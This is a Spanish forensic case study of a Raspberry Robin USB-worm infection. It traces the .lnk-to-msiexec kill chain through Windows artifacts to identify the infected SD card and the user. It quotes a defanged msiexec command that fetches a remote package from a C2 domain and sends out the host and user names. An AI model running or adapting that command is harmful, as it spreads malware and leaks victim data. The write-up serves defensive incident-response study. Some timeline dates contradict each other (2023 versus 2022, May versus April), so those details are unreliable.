Raspberry Robin fue una amenaza latente durante el año 2022, causando múltiples incidentes en organizaciones de diferente índole. Dicha amenaza posee como vector de entrada un medio extraíble, una tarjeta SD o un USB drive. Raspberry Robin pertenece a un gran ecosistema para desplegar IcedID, BlumbleBee y TrueBot.
Principalmente, es liderado por DEV-0243 (DEV-0206 and DEV-0243: An “evil” partnership), aunque se ha visto usado por actores como DEV-0950 (FIN11/TA505). Este despliega el ransomware Clop en la última etapa. Red Canary (Raspberry Robin gets the worm early) y Microsoft (A new worm hatches: Raspberry Robin’s initial propagation via USB drives) publicaron extensos artículos sobre las técnicas, tácticas y procedimientos ejecutados por Raspberry Robin.
Cabe destacar el uso de ingeniería social a la hora de ejecutar el segundo stage debido a que, desde Windows 7, autorun está deshabilitado por defecto. Este paso es ejecutado mediante un fichero .lnk de forma consciente por el usuario. Dicho fichero es camuflado con el nombre o marca del medio extraíble.
Por ejemplo: USB DISK (16GB).lnk, Kingston.lnk, Unidad USB.lnk (Figura 1).
Killchain
La killchain ejecutada por Raspberry Robin se muestra en la Figura 2.
- Usuario hace click en un fichero .lnk mediante ingeniería social. El fichero se puede llamar, por ejemplo, Unidad USB.lnk y estar en el directorio raíz del medio extraíble.
- El fichero .lnk ejecuta un cmd.exe que posee como parámetro otro fichero con dos ejecuciones:
- explorer.exe para abrir el medio extraíble del usuario, nombre de una persona o el propio fichero .lnk Múltiples artículos no han sabido el propósito de esta ejecución.
- msiexec.exe para contactar contra el C2C que descarga y ejecuta una DLL maliciosa.
- Contacto contra C2C en la red TOR mediante la DLL.
Para obtener más información de la persistencia se pueden consultar los artículos de Red Canary y Microsoft. Este artículo está enfocado a un caso práctico de análisis forense de las primeras etapas de Raspberry Robin.
Análisis forense
A la hora de realizar un análisis forense de un activo, es necesario acotar el evento en el tiempo. El evento puede provenir de una alerta SIEM, consola de EDR/Antivirus, conexión anómala en el firewall, aviso por parte del usuario etc. De este modo, las acciones que crearon la alerta deberán estar antes del evento. En muchas ocasiones, hay activos con un gran ciclo de vida y es crucial acotar la hora del incidente.
En este caso que nos concierne, el activo a analizar no estaba integrado en SIEM ni EDR. El usuario avisó de múltiples alertas de antivirus a lo largo de mayo. El objetivo de este análisis fue identificar el dispositivo o medio extraíble, así como el usuario que iniciaron la infección. Fue necesario realizar un triaje del equipo para saber su procedencia. De este modo, se empezó analizando las alertas que correspondían a Microsoft Defender en el fichero Microsoft-Windows-Windows-Defender Operational.evtx Figuras 3, 4.
La primera alerta corresponde al 22 de abril de 2022 a las 16:11:48. Esta fecha será importante a lo largo del análisis. El antivirus Microsoft Defender bloqueó la siguiente ejecución:
C\Windows\System32\msiexec . exe /q −ihxxP ://mIrW [ . ] Wf:8080/zNzxV2Wku44<HOSTNAME>?<USER>
La alerta proporciona la firma Trojan:Win32/Cerobgar.A. Sin embargo, la ejecución indica también el dominio hxxp://mirw[.]wf:8080. Con este indicador, ya clasificado en fuentes abiertas, es trivial identificar la amenaza Raspberry Robin. Además, los artículos de Red Canary y Microsoft identifican de forma directa dicha amenaza.
El nombre del activo así como el usuario son exfiltrados. Las opciones usadas son:
- /q indica ejecución sin interfaz de usuario, por lo tanto, no habrá interacción.
- -i Instalación del paquete msi remoto.
Notemos que el objetivo de este comando es seguir el proceso de infección. El post de Red Canary desgrana a la perfección los diferentes stages. Los C2C utilizados por Raspberry Robin son servidores QNAP (NAS) comprometidos (Figuras 5 y 6).
La alerta de antivirus es el primer artefacto que ha sido analizado. En nuestro caso, La MFT es una evidencia básica que analizar. Hay que recordar que la primera alerta de Microsoft Defender es el 22 de abril a las 16:11:48 UTC. A partir de aquí habrá que analizar los eventos causantes de la alerta. En ese mismo día y hora, la MFT muestra los siguientes ficheros creados.
En primer lugar, hay una creación de ficheros de log en Microsoft Defender. Estos ficheros de log son creados a la misma hora que se genera la alerta. Un minuto más tarde se crea el fichero AJ2109240970.lnk (RecentLink). Por lo tanto, antes de abrir el fichero AJ2109240970, el usuario ha hecho alguna acción para generar la alerta. Veamos también la creación de un fichero Prefetch de Microsoft Photos a las 16:12. De este modo, podemos deducir que el fichero AJ2109240970 se trata de una imagen abierta.
El principal vector de entrada de Raspberry Robin es un medio extraíble, por lo que el día 22 de mayo se debió insertar un dispositivo de este tipo. La Figura 8 muestra las conexiones de medios extraíbles. En este caso, la información ha sido obtenida mediante el log Setupapi y hives SYSTEM, SOFTWARE, NTUSER.DAT y Amcache.hve.
Matizar que hay dos dispositivos, Generic SD/MMC USB (E:\, D:\) y USB SanDisk 3.2Gen 1 USB Device (G:\). La primera conexión de ambos fue el día 22 de abril. Esto indica que uno de los dos medios extraíbles tiene el fichero .lnk que ha sido ejecutado por el usuario.
Un artefacto interesante para evidenciar la navegación por el sistema de ficheros son las claves shellbags (Figura 9). Su valor es obtenido del hive NTUSER.DAT del usuario a investigar.
El día 22 de abril a las 16:11:48 accedió a la unidad D:\. En este mismo instante se disparó la alerta de Microsoft Defender. De este modo, el fichero .lnk debería estar dentro de la unidad D:\ que corresponde a una tarjeta SD (Generic SD/MMC USB). La clave de registro UserAssist es un buen punto de comienzo para saber las ejecuciones del usuario en el sistema de ficheros. La Figura 10 muestra este valor.
Notemos que el fichero D:\Unidad USB.lnk es accedido a las 16:11:47, un segundo antes de la ejecución del msiexec que generó la alerta en Microsoft Defender. Por lo tanto, se puede evidenciar que la tarjeta SD está infectada con Raspberry Robin. Además, es posible evidenciar la ejecución del msiexec con el artefacto Amcache.hve del usuario (Figura 11).
Otro punto interesante es saber si la unidad USB con etiqueta G:\ está infectada. El 17 de mayo a las 07:57:17 se produce un acceso a G:\. Sin embargo, no es posible realizar una correlación directa con una alerta de Microsoft Defender. La última alerta de este fue el 16 de mayo.
Un artefacto para identificar al usuario serían los registros Windows. El fichero Security.evtx nos indica eventos 4624, autenticación satisfactoria, del usuario que insertó el medio extraíble y ejecuto el fichero D:\Unidad USB.lnk. Este punto es importante debido al uso del activo por dos usuarios. Ver Figura 12.
De este modo, el dispositivo infectado ha sido identificado y el usuario que lo insertó debido a la horquilla temporal de autenticaciones.
Timeline
Para poner un orden cronológico de los hechos ocurridos en el activo, es importante obtener un timeline del análisis de las evidencias.
- 22/04/2022 07:03:03. Primera conexión Generic SD/MMC USB Device. Unidades E:\, D:\
- 22/04/2022 15:30:28. Primera conexión USB SanDisk 3.2Gen1 USB Device. Unidad G:\
- 22/04/2022 16:11:47. Click en D:\Unidad USB.lnk
- 22/04/2022 16:11:48. Alerta Microsoft Defender Trojan:Win32/Cerobgar.A
- 22/04/2022 16:11:57. Acceso directorio en D:\Unidad USB\FOTOS
- 22/04/2022 16:12:00. Múltiples alertas Trojan:Win32/Cerobgar.A y conexiones de Generic SD/MMC USB Device (Unidades E:\ y D:\).
- 13/05/2023 07:35:12. Autenticación exitosa usuario, credenciales cacheadas (11).
- 13/05/2022 07:41:35. Ultima conexión Generic SD/MMC USB Device. Unidades E:\, D:\
- 15/05/2022 08:57:57. Ultima desconexión Generic SD/MMC USB Device (Unidades E:\, y D:\)
- 15/05/2023 08:08:25. Autenticación exitosa usuario, credenciales cacheadas (11).
- 15/05/2022 – 16/05/2022. Múltiples alertas Trojan:Win32/Cerobgar.A
- 17/05/2023 07:02:32. Autenticación exitosa usuario, credenciales cacheadas (11)
- 17/05/2022 07:54:58. Ultima conexión USB SanDisk 3.2Gen1 USB Device (Unidad G:\)
- 17/05/2022 10:00:54. Ultima desconexión USB SanDisk 3.2Gen1 USB Device (Unidad G:\)
Conclusión
Debido al análisis de las evidencias, se ha identificado que la tarjeta SD (Generic SD/MMC USB Device) está infectada. Además, es posible que el usuario copiara desde la tarjeta SD al USB USB SanDisk 3.2Gen1 USB Device un directorio ya que poseen el mismo nombre. En este caso, no se puede evidenciar que la unidad USB esté infectada pero hay una gran probabilidad. Finalmente, el dispositivo extraíble ha sido identificado así como el usuario que desencadenó la ejecución del fichero .lnk.
